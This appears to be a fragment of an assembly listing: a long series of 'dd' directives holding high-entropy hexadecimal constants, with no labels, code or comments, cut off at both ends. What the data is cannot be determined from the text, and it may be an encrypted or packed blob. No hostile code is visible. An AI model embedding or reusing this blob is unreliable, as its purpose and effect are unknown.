2677F307h, 4E8306C8h dd 6D898815h, 87BC0FDDh, 0C3E08B6Eh, 49ADA5F9h, 0C23058D6h dd 0B0EE0F7Fh, 3AFCAD29h, 0ECE2384h, 8174661Dh, 3C122692h dd 7CAE9BCh, 8EF6DCF6h, 85D9215Ch, 32EDE366h, 0F069576Bh dd 0C02CBB23h, 0A5F66A7h, 0FC1AD3BFh, 0B4652E05h, 0D66A81E7h dd 0E43DC6F0h, 0F85FDE1h, 6BA3F297h, 0B2FBE020h, 0C5A4ACFh dd 6A2DA4D5h, 73CD669Fh, 0DDD96C0h, 8198F086h, 80EFADFAh dd 21815326h, 0DE70A912h, 0E7C28A56h, 1A9F5995h, 459684BAh dd 4D6343B5h, 0D0FD2FB7h, 5F54221Fh, 4328FFBh, 0BAAF6A7h dd 0D7BD735Dh, 0E37533F5h, 2FE9E053h, 8C6B3072h, 0EE4C789Dh dd 0C55B52E0h, 0E1D3C5A2h, 31A9DA64h, 94831D51h, 78A14B72h dd 575A3CCFh, 0AA375167h, 1AAD6D57h, 3DA70A5Bh, 0B15125B5h dd 929BC027h, 20E9C94Fh, 3D0D50F4h, 0DBFE3E33h, 0A7FBEDF6h dd 0F4489B31h, 8A5B8585h, 32F18CA5h, 9A9AFD03h, 71671D69h dd 1BA5245Eh, 577DB58Ch, 62FD15A6h, 0DFDD8C57h, 9E69986Fh dd 0F6DB6069h, 0F93481D0h, 4DB258C3h, 6F0D5053h, 0A3BAF54Fh dd 8CA30C99h, 887C7425h, 3D6E8457h, 0E7D8F366h, 8210460Ch dd 0D4776F84h, 11C2721Fh, 4BBB0625h, 0A0FCCA36h, 98245ED3h dd 0C02043A6h, 1E8A177Bh, 209EB2C3h, 0C2FA962Dh, 3FF7162Bh dd 3C5507AEh, 0F72F4983h, 98793575h, 91943E69h, 5F17D313h dd 8A4C4579h, 6CE4066Ah, 9370279Dh, 63ED35DAh, 0A2F8D45Ah dd 18BE8822h, 0A5BEFDAEh, 7E98CC90h, 0E218CA47h, 9E911149h dd 1BB6E400h, 0F35F1066h, 30DB3772h, 0AEEA9FFCh, 5D83DBA9h dd 616B7890h, 0E7D29CAAh, 51D4F221h, 9FBB0306h, 4D5E9B46h dd 52123F02h, 1DC111A8h, 1F0803C0h, 1765409Ch, 570A9273h dd 54F521D6h, 0D7279FC7h, 0C1960EB2h, 9450AA24h, 1BE56269h dd 0EEF7DFB0h, 7DB34E03h, 0D0B82B95h, 49B75CA7h, 68B726E9h dd 0BE4086C5h, 5A89EC54h, 59C6FD55h, 0DCD12522h, 0E58CE0D0h dd 82C0511Bh, 0C10578DCh, 0DAE3F97Bh, 14B997AAh, 20319D89h dd 0D11FF060h, 951BD98Ah, 0ADCE9BA7h, 1D8E7C5Dh, 0E485CDFCh dd 751978CEh, 947E61B3h, 4D2BA43Dh, 0D4A58A7Bh, 0DA30C8Bh dd 9A36ECB2h, 317BF9D2h, 2FA00C3Dh, 4BDD9738h, 0A959144Fh dd 4021CC98h, 5A67CD94h, 8259F1EEh, 0A5CCC553h, 9FC5AE6Fh dd 436FDA9Ah, 5310C9DFh, 769DCFF8h, 17FADED0h, 7D388A8h dd 0CE44C7BCh, 7D40A8FCh, 0A7D5C59Dh, 0A42AFA2h, 788ABF4Ah dd 334DA8D3h, 0AE21E739h, 55BFF0DFh, 0F0840080h, 81BB10B5h dd 0B3EAF9C4h, 1A1B06C5h, 856A725h, 0C264E5A0h, 0E4F33B5Ah dd 5F37A64Dh, 0E30637D5h, 7EDD9538h, 299EADDEh, 9E2B2F5Ch dd 2B738079h, 2C39C86Fh, 0D86430BEh, 2090DA18h, 0BFD6AABEh dd 0F22357A7h, 0C3F100C1h, 2FA4E3D6h, 0A24A9CCDh, 0C77E3C9Ch dd 0C98D5C5h, 0CC3BCF3h, 64CE8D9Ch, 41835CC7h, 4D0E24B9h dd 334816BCh, 7CD57FE1h, 40791854h, 0E17D5856h, 0F7733FAh dd 281EB250h, 0F7A62E0Eh, 0E10BFFA7h, 32147C6Dh, 0C6FCCD29h dd 7603E7F3h, 3C873A59h, 428F29CDh, 613C52E7h, 2772F462h dd 8A02CEECh, 8D9CE577h, 3D205AACh, 0F83EF47h, 0B8A2AC7Eh dd 0DFA9725Fh, 9492956Fh, 9CB4C07Bh, 699665B0h, 7671A54Ch dd 3D513AA2h, 1B566333h, 636C23CEh, 0E61A76A9h, 0B8DEABECh dd 55A2F8E1h, 2BF32F0Bh, 4FCC1F20h, 8CA664DDh, 7EEB5905h dd 4CFF86D1h, 9878570Ch, 3BA8BCBEh, 70AD35C9h, 42202E2Ch dd 95401435h, 6EC829A6h, 15EC4B24h, 0A3E4AAD0h, 4F9202A1h dd 0EE9765C8h, 0B1C399h, 52C4E3ADh, 86714028h, 5C6804DDh dd 76899558h, 49563E55h, 0B95BAB5Ah, 0FB2752CDh, 921119C0h dd 9A845BAFh, 0D4C4926Dh, 0F4018CEAh, 0F511DC66h, 9E2FAA5h dd 9CE15411h, 0CCB1512Dh, 655D0716h, 0D5150FD7h, 3AACBFA6h dd 7CD417B5h, 21255889h, 0A9500331h, 4E04B5C9h, 1615FF39h dd 18C09159h, 0A1E90DC0h, 61B8F864h, 84CA729h, 0F2233003h dd 39A6E8Fh, 52EAF258h, 0DA693DC7h, 0FD508C1Eh, 4430FD70h dd 0A4143D34h, 0D2681218h, 0F7AD75Eh, 616B6C82h, 0CDE94BBDh dd 3C0051C4h, 921AB91h, 89A8445Ch, 0D2B8175Dh, 79669C8Dh dd 0A8977AADh, 0D2B3908Dh, 58484B21h, 0F892A75Ah, 1265C139h dd 0B33363B3h, 9E29A57Fh, 210B4DC3h, 1A12010Ah, 7A7FD54h dd 0EEDFBCB8h, 6B4F22C2h, 845B0400h, 0CD78B34Bh, 83B89BB9h dd 312F806Ah, 0CDBE990Ch, 5FC2B05Dh, 0F544586Eh, 29557C33h dd 482ED34Ah, 71A4BE64h, 2520C17Eh, 6E753098h, 0AD68BFF5h dd 0A8778DBCh, 0CF442AA6h, 0EBD94D38h, 0A1005512h, 30500E5Bh dd 0C2611797h, 0DAD82F7Dh, 79732604h, 3A69EE30h, 91490E30h dd 0A13D5107h, 0A6A1E87Bh, 4717E13Fh, 817161E2h, 396D648Ah dd 95F3624Ch, 0E3EEBA20h, 840DEABEh, 3689A933h, 8DD02276h dd 97D584C1h, 4C7F6BBBh, 0D7C7644Bh, 0F35C5A1Bh, 69D912BCh dd 0FB3A63A9h, 42F312EDh, 31FFE3A7h, 5B92B27Dh, 0D1F8D208h dd 0E8AD18A7h, 0D73C2CE0h, 0C07FA5Eh, 195141A4h, 0F726C5F6h dd 0FC87C28Ch, 4E54AC67h, 40A53F6Dh, 0ECB43522h, 3D6D690Ah dd 0DD8813B6h, 0F8B73E7Eh, 61B5163Dh, 9A29EDDBh, 93E516D5h dd 7AADF3BAh, 8F2872A5h, 5EC9076Dh, 4C6D3D12h, 5DC3B74Eh dd 3651A0D0h, 79C16A25h, 0BF2FFAD2h, 16CDE9EEh, 6B1EFD50h dd 0C064872Fh, 0AC2733BEh, 0A3329303h, 7637BD42h, 92C4EBF0h dd 0D4429EF6h, 0A7AC605Ch, 0DD4F54ABh, 0F3E76E5Fh, 0C20ED6FBh dd 0CD8EE0B7h, 483D796Eh dd 0F3D9AD69h, 0CF8DB11Fh, 69A70289h, 3F537D96h, 7DBE4F88h dd 0AB646BDEh, 9EE33EE3h, 4019CB74h, 3C9DEE92h, 51E47309h dd 355F6106h, 22F437F3h, 0B271FD30h, 5167D567h, 6FC9CAD2h dd 0B97BD74h, 96A5A8B8h, 6EB4ADFh, 80D2A6AFh, 3A05E061h dd 8CC57DD8h, 0D0B145DAh, 0C6F155DCh, 505A77B8h, 99161B47h dd 87671A59h, 0F90C03F4h, 55F898C2h, 3C910AE5h, 333102E2h dd 0A2618DA6h, 0C53E37F7h, 961EE9C4h, 9BA912D7h, 0DCD132DAh dd 694DBB98h, 5F1F6FAh, 36B3A78Ah, 0DE2420C9h, 2EF95DA8h dd 9237CE43h, 7EEC1F19h, 0C59E7C12h, 0B96727E7h, 8A5DBE97h dd 0A0584789h, 0EF9EF72Dh, 66A9AB37h, 0BBB9D1B7h, 0FFC1295Fh dd 0F945285Bh, 79FC7D13h, 0DF9B5B51h, 81FE326Fh, 0D3415CF3h dd 0F37004FEh, 0E55FEF28h, 664285DAh, 846B45ACh, 1A31985h dd 4D7B4420h, 3DF0228Ah, 52983817h, 816D0670h, 0C7921F4Ch dd 9DD1FD59h, 0EA214206h, 5BFF6A9h, 955F5CAAh, 4E334561h dd 0F3FE04B1h, 7E0CA2CFh, 51967EE7h, 5AF80ABAh, 4195B954h dd 0D7B2749Ah, 5469BA0Ch, 0D0DAB7DAh, 0B126B427h, 0EDF86235h dd 0E075558Bh, 0C629AF5h, 0C1FF9DB6h, 0B712166Dh, 590A46E4h dd 95C11981h, 0F253475Fh, 0D49A6BCBh, 0F3568445h, 28215C9Dh dd 0FA51E5C2h, 0D5ED6E93h, 301E1A2Eh, 6927D07Eh, 54B18D5h dd 38FF72Ah, 10EAE977h, 0D4868AF0h, 406C00E3h, 4ADC5515h dd 1C0EB987h, 0F9624205h, 3C12FBE4h, 6CCBF546h, 3F4F035Bh dd 8D124E34h, 36B0644Fh, 60AE1288h, 9FF6E5Ch, 7D86C9EDh dd 557C9DBEh, 2810C7E2h, 428B9195h, 0DE96852Ah, 2994FB3Ah dd 0F688AD21h, 6AB42A29h, 0AFEEE7F0h, 0E1D567C1h, 0B1865E51h dd 32697291h, 0B7413ADFh, 0D81DB251h, 0A74D4D04h, 0DD25A35Ch dd 0AFC1B290h, 0FD0DCD0Ch, 3E5BB842h, 7A5AC977h, 7C41AC5Ah dd 0CABC4B40h, 9211FE87h, 3D6B1992h, 7FE4C392h, 44C70FDBh dd 0FD54FD51h, 56D34C85h, 5BF0BCD3h, 0FBCB7DA4h, 0D4A95378h dd 7E659511h, 905E8AADh, 0B74B553Fh, 29016637h, 230FD8E8h dd 0E13CDE16h, 0B7A2CB3Fh, 3B2541B1h, 0DD48DBF8h, 691E8901h dd 0FA1C1CA1h, 657D0176h, 0C0CA3F79h, 0C260DE2h, 8334FB29h dd 409C7E10h, 89B242C6h, 9ADE10AAh, 2661ABEBh, 856FD7A6h dd 74DB9C92h, 57A8EC18h, 0DE8A1FE1h, 482AC3A0h, 5EEEE3Ch dd 0F23747Bh, 98BA964h, 9A41359Fh, 0A4230918h, 0FC1C949Dh dd 0BB6946C1h, 5068FD3Bh, 0FF23BDE6h, 0CF0847B8h, 67330A45h dd 8D9477EAh, 89367B67h, 1FF07350h, 0D0EB1032h, 8FF5020Ch dd 0A43C73A6h, 735257Bh, 0BEA09776h, 5D061471h, 9D5F0ACBh dd 2FAABF6Ah, 0FBE501DBh, 6E6EB024h, 794466CEh, 0E4E099E3h dd 3FDF983Ch, 88D93193h, 2EC45703h, 0A504256Fh, 0B954EC17h dd 0E7F769BBh, 3E9EBC72h, 4D4026D9h, 0C39D7B9Ah, 0D5C741A5h dd 0F259CA3Dh, 0AC885C43h, 0CA218153h, 0C8FB864Fh, 0E69A1341h dd 17128161h, 287BAE71h, 0A2687711h, 1F7DEAE9h, 2D94A77Bh dd 0A2C122A5h, 0CE852672h, 0A2116BA8h, 0C0E4D843h, 1D91F981h dd 85A14554h, 738A8361h, 0C8A3F85Eh, 965C666Dh, 30EA9503h dd 3191F82Eh, 15DDBCB7h, 0A9F178E6h, 4B7F2E47h, 0C1C2A2B4h dd 0C65AB42Ah, 0EE58B878h, 1284EEB2h, 0B0B56B93h, 8A556564h dd 19528893h, 1771C7AAh, 0FB1E473Eh, 263F093Eh, 422B8D4Fh dd 82D73FDFh, 3F82A3F3h, 0BB671873h, 1079A76Ch, 6C553036h dd 3C0DE230h, 0C5E5C51h, 923E3ABFh, 0A265AF35h, 187A12E5h dd 1919FC7h, 99F16BAAh, 57693C45h, 9C1C0C2Dh, 0BE72FB32h dd 3FF57F79h, 95DE62CAh, 0EEC1C860h, 3DEE1BDEh, 859C45F0h dd 42E4A499h, 0D8292DABh, 7BF2D066h, 0E3EBE71Bh, 9A41CAEh dd 1FB85FE7h, 9D707A5Bh, 0D0D58AF7h, 0B2FD7926h, 0C892896Dh dd 1E9119E5h, 9D7A122Bh, 598E0632h, 0E814D3AEh, 402811CBh dd 18E1361Ch, 66FD04D3h, 0C4BBD4A3h, 4D02F4A0h, 0A9BF02BEh dd 0B3C47F36h, 4F596133h, 9EC3FDAAh, 0B059FE25h, 66AA2503h dd 46923EE8h, 0F0CEA935h, 0C1A324E8h, 53771BEEh, 54568D49h dd 9708E07Ah, 6B0CBDE5h, 2BCE8804h, 7BDC30F4h, 0C5B39E6Bh dd 5D42C77h, 0B84B5A4h, 1CBF40C8h, 33C7B934h, 61141E18h dd 71425DF5h, 2D6B558Bh, 3DD61330h, 8EE198AEh, 8D002C24h dd 0C5CF7C53h, 88B60020h, 0CA14EFBFh, 36078BE2h, 0F6485417h dd 0C8EBB2Ch, 409E9DF4h, 1F2F3B3Fh, 38665494h, 5B06C51Fh dd 4B62D09Eh, 2002DFD0h, 6F144753h, 72E49A71h, 41F74E3h dd 760D29F1h, 4B30F79Fh, 2997FCCh, 64DB56B7h, 0FE0725C1h dd 355B8951h, 8C1A8878h, 0B5D37A94h, 0B8FBAC77h, 95232400h dd 2EEA9A2Dh, 4DFC6ADDh, 69C38CEFh, 38654D24h, 0ADCBF8A5h dd 0C0136B46h, 0B737166Ah, 4AB512D2h, 4CAB9D58h, 0B56DF92Bh dd 104FF895h, 554783D2h, 1B1CF35h, 0CADBB996h, 332B9285h dd 0E414A0FFh, 1C26F205h, 391EEA49h, 12EA0997h, 2BC5DBE7h dd 794165E3h, 0F0CE3DA6h, 0DFD0F307h, 0EB5E19E3h, 0FE7A3403h dd 0C17A8B9h, 98759A4Fh, 0E3838178h, 4AF63D04h, 0CF8FEF78h dd 271C4E38h, 79E9E881h, 267D04C2h, 82B39CF7h, 29944555h dd 79A51063h, 0A0C3F312h, 92E15B8Ah, 4A6FBB46h, 2C646A7Ch dd 78CA418Eh, 2BF751ADh, 4E30D123h, 0D824F0A7h, 3B3BADCFh dd 0C6422AEEh, 6A1811EEh, 0CE70320Bh, 0BB1B2F19h, 47E4B6E9h dd 0FC564AECh, 0C768D6EEh, 0E9FEDCCDh, 0D21A2D07h, 0CDD9D6AFh dd 0A322B31Dh, 0E21BAC86h, 677A2E17h, 0BD96646Bh, 0DD55EB4Dh dd 0E022AC2Ah, 74AF132Ch, 4246DACFh, 7FD85ED2h, 0C7397000h dd 366EECCEh, 21696D17h, 0AAD1C3D8h, 99342606h, 24D117h dd 0D2E6AECFh, 80322BD9h, 70F9FFD5h, 0B6ADCE1Ch, 0A69E958Bh dd 0F0522042h, 1CB46121h, 0EF96FBDDh, 9D14D2D7h, 0EA5E1FF4h dd 36AAE7F0h, 0ACC167E7h, 0F07D3166h, 5561EE78h, 0F26DAA30h dd 20E24339h, 519D0EF9h, 1449995Bh, 5103CF6Dh, 0A1E973D3h dd 5A743C20h, 4266A344h, 0E29408E0h, 0BB921D66h, 2533B9A2h dd 0C2964481h, 1F373464h, 0E15EE956h, 91F18CF9h, 5ABEA133h dd 392687Ch, 590452BDh, 29E1E2D8h, 7A595E2Ch, 7AA8E575h dd 11C46B09h, 0A7925F4Dh, 1012052Fh, 8438B8DCh, 0B104B60Ah dd 0FA9E09D9h, 0C6A538F1h, 0C7F98F45h, 40ECC02Dh, 1F314814h dd 506E2DF6h, 9DBA8CD5h, 0FF2E143Eh, 0F7A5A54Eh, 88F70758h dd 0FFCB3591h, 3B1EF2E2h, 929C0E2Ah, 4F32C568h, 0C6D850EDh dd 0ED65B644h, 0E6D9FDCDh, 0AE38047h, 50E1E770h, 6F36DE67h dd 0CE840A5h, 0F521733Bh, 1B0BC2A3h, 75DB79EBh, 0AD900541h dd 5322CFE8h, 64D20280h, 4CA8BE39h, 0D735A211h, 0A42BD4E3h dd 0DB086785h, 2BF5AAC4h, 0E4270907h, 0DC17D05h, 44731826h dd 7E31CAE5h, 0B8311449h, 34E236h, 0EDBD923Eh, 15870672h dd 0E26DB58Ch, 79F47251h, 471CBD54h, 0B2AD0FBDh, 43FAA7C8h dd 0F0D22C0Ch, 7AF923B4h, 5905FEBh, 0C589A73h, 3624AEBh dd 0D97CBE56h, 9240FB32h, 0CA021A1Eh, 0A8AD6BF9h, 0A940C3A4h dd 93084B4Ah, 84349F2h, 9DA6F467h, 0CA4ABEE8h, 7955F92Ah dd 109E4070h, 0DBCF6540h, 0B45B829Ch, 188A3696h, 0C91E301h dd 0C3C7EC42h, 8B2B94B6h, 7A2AA8Bh, 0EC6BAA90h, 431FA5E7h dd 0F0397E4Bh, 4FD43C21h, 7D330081h, 0C8E30703h, 3F63902Eh dd 9B261A0h, 0F82527A2h dd 0F827C02Eh, 96B5461Fh, 81100E8Fh, 0DC492B4Dh, 0DB92FB61h dd 0D44D9343h, 0CA91AFF9h, 45CDCBDBh, 44BC171Bh, 129A2FB8h dd 2FE74DF1h, 0EF856029h, 7919C546h, 30E06E47h, 36BB4E50h dd 0D69AF28Fh, 0E4CCEDD7h, 3C1E4C24h, 78C372D2h, 0F2212C51h dd 29C20B14h, 0E04CF2B4h, 611D0598h, 9CC5E2BEh, 7C3FB096h dd 0C9C7EF0Dh, 0DD914A44h, 0E90DB2E8h, 67E37BA5h, 0D4A1C7E3h dd 2F796F9Fh, 228174F9h, 9DE44E4Dh, 0EAA2930Dh, 47C172C6h dd 5AEBC939h, 261DC0CAh, 406061EDh, 3109AA35h, 0B0FF2696h dd 98C0F2E2h, 5E3FA5E9h, 572D9013h, 430D91C6h, 0B3DC0FB4h dd 5F605B5Ch, 756E49D2h, 9228DE3Ah, 7D646B25h, 669E3BA7h dd 0D2789E22h, 522A13E5h, 0B34A4B82h, 0FDAF8EF8h, 0FB249FB1h dd 0F63F35FDh, 0FAAFD2E8h, 2D2BBD23h, 0A938245Dh, 880DB430h dd 0FFC93BF0h, 9101DB8Ah, 34FD49E6h, 0B79A2F58h, 7BAB1938h dd 0AB561089h, 75CEF924h, 0DB993279h, 47064AB6h, 0EF99AD47h dd 5A2D9E1Ch, 0BED67653h, 0E12C6374h, 10FA639Dh, 0E2DCCCF3h dd 0D18E044Dh, 6578FC9Ch, 80B91C94h, 3638C99Fh, 0F8AE29AEh dd 76C5FD80h, 0F98F4169h, 1CE1AF82h, 865070A2h, 324874AAh dd 5CCAAB9Dh, 0B18C3E58h, 4074E1B6h, 1FDB191Dh, 0A462039Dh dd 65996554h, 0B941B22Ah, 7D0C4236h, 39DF3896h, 1DA440E2h dd 0A2F0307Eh, 3D3A7B39h, 0AF59FD43h, 1A5CB200h, 0EE5EAE98h dd 859653CEh, 689D9719h, 3B204943h, 65A5ABD6h, 0CE578921h dd 50C1E076h, 162C0727h, 569DE8FEh, 4D46E01h, 6926E047h dd 0BEE6EAC9h, 254FE5Ah, 0AB5D7515h, 0EA0DE6A4h, 6FF0CE33h dd 0A28FE062h, 0AF1D1C16h, 0BEFC0FDDh, 0D75D1D4Bh, 0B2B419E6h dd 0D6ADC871h, 9F32FE75h, 48051EC7h, 9661779Bh, 4FB05740h dd 71717969h, 3B87F167h, 0FD13E208h, 0E3258A58h, 0B9B74651h dd 5AB3B6F2h, 2E8B9D4Fh, 3D3A5558h, 3BEF6D63h, 28767CDDh dd 7DDCB8E6h, 4BBD6072h, 304787C3h, 0D2C4BE1Dh, 794E9141h dd 0ACAD54A3h, 4329B37Ch, 0E0BF490h, 56EACAF6h, 7A460A77h dd 0F6D9B0BBh, 0AC52000h, 41D5E3A8h, 0A8CF3907h, 63B848DBh dd 1B61E3B9h, 0D7E33AA3h, 35913D89h, 75BC6CEFh, 0A15D106Fh dd 0F9A87E5h, 7888815Fh, 0BA1E3EBFh, 0FA2866E0h, 760E79Eh dd 0B0884AC5h, 840A109h, 44B0A77h, 7108A2C3h, 64E5E335h dd 0DEB5728Dh, 69AADF49h, 0AF6758B8h, 0B378D530h, 0B57CC34Ah dd 3BDAD7E5h, 0A187855Fh, 8F73DF9Dh, 0E8202556h, 749AE4E9h dd 7CEFB353h, 0D651364Ah, 3602533Eh, 0BC7B348Ah, 0BB9160A9h dd 0A2AF7BF4h, 9B16675h, 4FEBFE9h, 401E24BEh, 0C93A804Ch dd 0D819F644h, 473567E0h, 0FA4433B1h, 34C3D4D7h, 98D0876Ah dd 0DC5CF563h, 0C670D5DAh, 18B72CE7h, 68BF1D66h, 0F4FF42AFh dd 1F77F3DEh, 992BDF34h, 8A649E01h, 0FC8B2188h, 66ABB7F6h dd 0C672F8Bh, 0ECE221FDh, 0C2A23065h, 8597146Fh, 0A4024971h dd 0FD57DD82h, 0EFDFD688h, 1603FCFBh, 518206B5h, 4C0DC654h dd 6A887B6h, 0CE7A6A5h, 3F635730h, 57043715h, 0FAF21371h dd 5AC929EFh, 33EE6429h, 0B3D6C59Ah, 0BFD109A5h, 2C140B7h dd 2C64A01Ch, 0B1119CC2h, 38225088h, 53BF9BB7h, 70402C9Ch dd 0F1A25FECh, 0CBCF5F3Bh, 0B086D8E4h, 83EA53FBh, 0B8CF0B2Ch dd 556DF487h, 0D0A440CBh, 0E32ED65Fh, 643706C4h, 257593F2h dd 0B49219E4h, 6FE90D21h, 4307177Ch, 6C0DEAC5h, 7FB9264Dh dd 0D62C2229h, 0DEEA014Ch, 601C9FA1h, 0D313F008h, 4B8FF55Fh dd 0EA80276Bh, 6C64392Ch, 0C3D19FFFh, 0BDC6A6B2h, 9AEFB0C8h dd 0B194EBB9h, 0FD1656F0h, 0BAA41BF3h, 6DD329C9h, 276B3AB6h dd 0F2E6EE3h, 0E1A3C843h, 0A117C663h, 64524BD1h, 5CB3EB48h dd 0A2E3A846h, 6C5845AAh, 5837470Dh, 0D2B18EBAh, 5C13DE21h dd 0F85C46CDh, 0AE3A38B8h, 5DE1FA86h, 0A55FFE19h, 5C6166E1h dd 1CD49869h, 49202FFBh, 5EC8BB51h, 0B7752761h, 62690D77h dd 0F149C5BBh, 288F6956h, 0C0A8FE5Ah, 886AE5C1h, 0BBAE75FCh dd 0BF79B7C6h, 74763F9Fh, 214FE6F5h, 2019738Fh, 0C00C001Dh dd 2853092Ah, 6E23A815h, 60B8650Fh, 0C48143F0h, 4CD28644h dd 0AA2621B3h, 9EE08CEAh, 30118394h, 0EC140EC2h, 0DE80AD63h dd 1160D4FBh, 51F71A77h, 8DD9F800h, 23817A91h, 0B5074AA8h dd 3B73F1ECh, 5CD4CC9Eh, 83A5C241h, 0B08915B3h, 0D73CADCBh dd 0B6C843ABh, 4ABA686h, 985CDEB6h, 23E0ECC9h, 4D0E694h dd 70E6C3FBh, 4279057Ch, 0F0D33E6h, 0FCCDC306h, 0AAEFE2B1h dd 377EF8Ch, 0BDD5303Bh, 8276CB5Bh, 0AA76D39Dh, 97B50D20h dd 21C3BFFDh, 7635C917h, 0E0E23D0Bh, 0D12649BEh, 0A5AFA5Bh dd 11C18961h, 2DE6F748h, 3CF221Eh, 0DF7B207Eh, 640B8012h dd 0EB959D05h, 7A51D5h, 52B2D3DFh, 3CFFF62h, 3E5BAF37h dd 78DF70E7h, 6241058Ah, 741859D0h, 92DF54A3h, 52330631h dd 6A5157D4h, 888153C3h, 5F62BADh, 11C5C093h, 0CBD4B12Bh dd 0D122F27Ah, 5A5BED2Ch, 0AF70BD76h, 356C079Dh, 4E003B85h dd 0A90A0706h, 0E8677A6Eh, 0A32AC883h, 0A60A1EADh, 0FF831B9Fh dd 8869E284h, 93CC348Ch, 0B62BF777h, 0E80219CDh, 0F99D4D19h dd 0E366E9D8h, 3EB2BB87h, 1A2E2157h, 202402E5h, 31B3D12Eh dd 0D47A563Ch, 3285FAD0h, 3979004Fh, 0DE76CE5Bh, 0A4D70D1Bh dd 0D1599FA8h, 1CBC1ACCh, 1E11113h, 0E2DFCFEDh, 66124C11h dd 0F490992Fh, 782475A9h, 0DC3CB2BCh, 0D1099FA6h, 0AA6AD18Fh dd 3574FE73h, 0CC120F45h, 0EE691BF8h, 79DEDEF2h, 0EF145212h dd 44FFCA94h, 0C1979EB2h, 0EDB247D0h, 0EDE42C4Ah, 0C1DCBA66h dd 0D4044CCh, 0DB4107C7h, 116B171Eh, 0BB16C392h, 228B0CA5h dd 0F897481h, 0CE8117D6h, 0CDEBB1C1h, 0C98B3A45h, 0AEA9BE8Dh dd 0CE6208F6h, 55F60427h, 0B0CE12E2h, 5345720Fh, 3659F045h dd 0E71076C8h, 9E4652E7h, 679DE72Bh, 0E22ECBCDh, 0B0A92BCAh dd 72FBF6EFh, 50F32E58h, 0D57D0732h, 489FEE4Bh, 0F5709B9Fh dd 64D34AC6h, 82B2C223h, 752B3242h, 3AA8A83Dh, 917E3069h dd 1F40B52Ah, 3F796360h, 601E689Ah, 0F199F1EDh, 6A9300CEh dd 1B9C84BCh, 6C2D4CFFh, 1B2E33DBh, 7FB8A0Eh, 7AD60188h dd 494ECF62h, 4293A711h, 993E509Dh, 0BBC3C74Bh, 8C61D30Ch dd 298C2ED0h, 8554493Ch, 542115C1h, 0DA531B4Eh, 0E372C135h dd 0FFA5CA0Eh, 913455EFh, 0FFC8D97Dh, 0A39FBA32h, 1C074FA3h dd 0B01F69E9h, 0C7832B64h, 0F2B86604h, 0CF5BD944h, 5C631ADAh dd 13CE81C8h, 0F1C8644Dh, 6A09D614h, 6A7729A1h, 0ED0C0797h dd 0A0F24861h, 89E715C3h, 7A1DC092h, 66F96026h, 6E9F1064h dd 0FECB2BF2h, 8F25B13Fh, 0B8B11328h, 0CD293118h, 0FD6BF445h dd 775ADA73h, 0E6C38A50h, 0DFCB53CCh, 0A7DB0645h, 0F85ECB5Eh dd 6B00D9B5h, 0D11914AFh, 2EB12B0Ah, 0DE005B0Bh, 0EF1B3A4Fh dd 83468124h, 34A3915Eh, 3B177E80h, 215A7EE0h, 87E8B9AAh dd 0AA65B5BDh, 6A08653Ah, 0BCCD3B66h, 0CB62F713h, 0B3A82B91h dd 87986BACh, 2047A313h, 94AA2A0Eh, 368ADF9Bh, 23BFDA9Bh dd 0C75EFD69h, 0EC0179B8h, 0DE39AC1Fh, 0D38FC05Dh, 67F706AFh dd 17739362h, 5DC42400h, 953682BDh, 0DA045EFFh, 8B618920h dd 5E1362D4h, 3074B057h, 2B6DCACFh, 0EDB1EFEAh, 0ED10CD61h dd 5B44C56Eh, 0C94361FDh, 32F5EDC1h, 65963406h, 3A889EA9h dd 28E0732Fh, 4A72083Eh dd 0A0AEED32h, 0DE148666h, 0C1E93123h, 130C4795h, 12F4118Ch dd 973FE5EEh, 8DEEFED4h, 96880F6Bh, 3DD36EEEh, 0A445283Ah dd 0A445377Ah, 6E60AFB5h, 3E0C530Dh, 49DE217Dh, 6158A32Ah dd 2933F881h, 3D70D3C2h, 0F931B54Ah, 44C73495h, 495A0679h dd 30C83658h, 813C2B37h, 0EC87EABFh, 4278462Ch, 6C13D0AFh dd 66859EFBh, 0EDDA46E9h, 0B596862Fh, 0D48D5952h, 90695061h dd 0F65A48F5h, 738678B3h, 0FC11643Eh, 5C495B1Ch, 5F999498h dd 627B0679h, 25D3AE40h, 0FD1A48FAh, 44A4DDF0h, 2E313E5Eh dd 297514DBh, 0BAC9403Eh, 25EF35B3h, 0E7B53D5Fh, 0F98E6989h dd 0FAE9616Dh, 0EA69FE2Bh, 3B849601h, 0DEDB7DC4h, 0AAFD994Ah dd 5641345Ch, 70C4AE2Dh, 5F243AEDh, 8EFFF853h, 3EDAD1DBh dd 626B2AB5h, 0D646F817h, 0DAD0789Bh, 60E61C1Ch, 5EB7B1D1h dd 0F591B509h, 408C2F6Ah, 389C5C58h, 66329DA6h, 58FF8E45h dd 9BBDBFCDh, 0A7468C1Fh, 0ABEDF70Dh, 0B225D3F5h, 13E48B8Dh dd 4612C8C4h, 8801F9FEh, 867B779Ah, 619167D3h, 0C7357A7Dh dd 0FAE35CFFh, 0DF601C5h, 9496DD80h, 0C95678FEh, 0ADDE3062h dd 8E6188A7h, 0C00664FDh, 0D116BCA6h, 0A92C0983h, 0BDEA64C2h dd 0AE4D9292h, 0A58E0123h, 8B41E4CCh, 0CB07E18Fh, 9F8CFC3Bh dd 6B90FB95h, 63239E6Ch, 7C186D05h, 8C4D2BE0h, 53A513BCh dd 0A8A567E0h, 0EF61510h, 72FBFF06h, 8E6FDB41h, 808CD29Dh dd 815E9D07h, 58DA060Ah, 11A4CE33h, 0A80AAC62h, 435CC2A4h dd 372E1E8Ah, 0C5ABD28Ch, 0C2D86A91h, 7C377F78h, 968B8242h dd 328BD307h, 72E44902h, 9758F5BBh, 3708B4E0h, 0FD2CCBB6h dd 9958DA12h, 49DF7793h, 102B0741h, 90A75CDFh, 572B2B45h dd 233F5AE2h, 263CD8A2h, 0F376DE15h, 0A890B0E8h, 0A02A2496h dd 27C9459Bh, 0A39240FEh, 7A8EA114h, 0E78B9923h, 0E5425CA9h dd 74BC0DD7h, 0A999C3B1h, 20A2D92Ah, 953E3AD8h, 0F60899ECh dd 0BE30BDF6h, 71EA96A1h, 61501F5h, 4E259815h, 0BB52F7D2h dd 4B7AA4A9h, 0D7A0499Eh, 0FF0F1207h, 751F8120h, 26224824h dd 5D588C91h, 0C923642Ch, 0FA4DD50Bh, 1F455A08h, 3C5ABF0Ch dd 31ED01EDh, 762941C6h, 4F0E1890h, 48D4DF05h, 0BD891ADEh dd 62EAACABh, 9217BE47h, 0A8D772FAh, 7ADA9F80h, 0BB3C2214h dd 0AFBA37F7h, 815BED9Ch, 6A772DB0h, 7842B051h, 0A2CEF267h dd 4703AAFDh, 1C6BD397h, 0A3E23D4Ch, 1DB0588Bh, 0AF14E38Ah dd 971F0F3Fh, 